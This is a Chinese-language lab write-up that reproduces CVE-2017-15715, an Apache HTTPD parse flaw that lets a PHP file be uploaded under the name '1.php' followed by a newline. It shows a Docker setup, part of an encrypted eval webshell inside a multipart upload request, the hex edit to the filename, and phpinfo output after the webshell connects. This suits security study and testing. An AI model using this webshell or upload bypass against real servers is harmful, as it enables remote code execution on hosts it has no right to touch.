CVE-2017-15715

解析漏洞

Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其**2.4.0~2.4.29**版本中存在一个解析漏洞，在解析PHP时，`1.php\x0A`将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。

漏洞环境

编译及运行漏洞环境：

```
docker-compose build
docker-compose up -d
```

启动后Apache运行在`http://your-ip:8080`。

漏洞复现

上传一个名为1.php的文件，被拦截：

```
else
{
  $post=openssl_decrypt($post, "AES128", $key);
}
  $arr=explode('|',$post);
  $func=$arr[0];
  $params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
  @call_user_func(new C(),$params);
?>

------WebKitFormBoundaryqcQRlAEJkM0oFhMk
Content-Disposition: form-data; name="name"

shell.php+
------WebKitFormBoundaryqcQRlAEJkM0oFhMk--
```

1.php后面插入一个+号做标记，然后转到hex，将+(2b)转化为0a

69	6f	6e	3a	20	66	6f	72	6d	2d	64	61	74	61	3b	20	ion: form-data;
6e	61	6d	65	3d	22	6e	61	6d	65	22	0d	0a	0d	0a	73	name="name"s
68	65	6c	6c	2e	70	68	70	2b	0d	0a	2d	2d	2d	2d	2d	hell.php+--
2d	57	65	62	4b	69	74	46	6f	72	6d	42	6f	75	6e	64	-WebKitFormBound
61	72	79	71	63	51	52	6c	41	45	4a	6b	4d	30	6f	46	aryqcQRlAEJkM0oF

改为0a

访问刚才上传的`/1.php%0a`，发现能够成功解析，但这个文件不是php后缀，说明目标存在解析漏洞：

然后用webshell工具连接

PHP Version 5.5.38

System	Linux 689a79057967 3.10.0-693.el7.x86_64 #1 SMP Tue Aug 22 21:09:27 UTC 2017 x86_64
Build Date	Aug 10 2016 21:02:47
Configure Command	'./configure' '--with-config-file-path=/usr/local/etc/php' '--with-config-file-scan-dir=/usr/local/etc/php/conf.d' '--disable-cgi' '--enable-ftp' '--enable-mbstring' '--enable-mysqlnd' '--with-curl' '--with-libedit' '--with-openssl' '--with-zlib' '--with-apxs2'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/usr/local/etc/php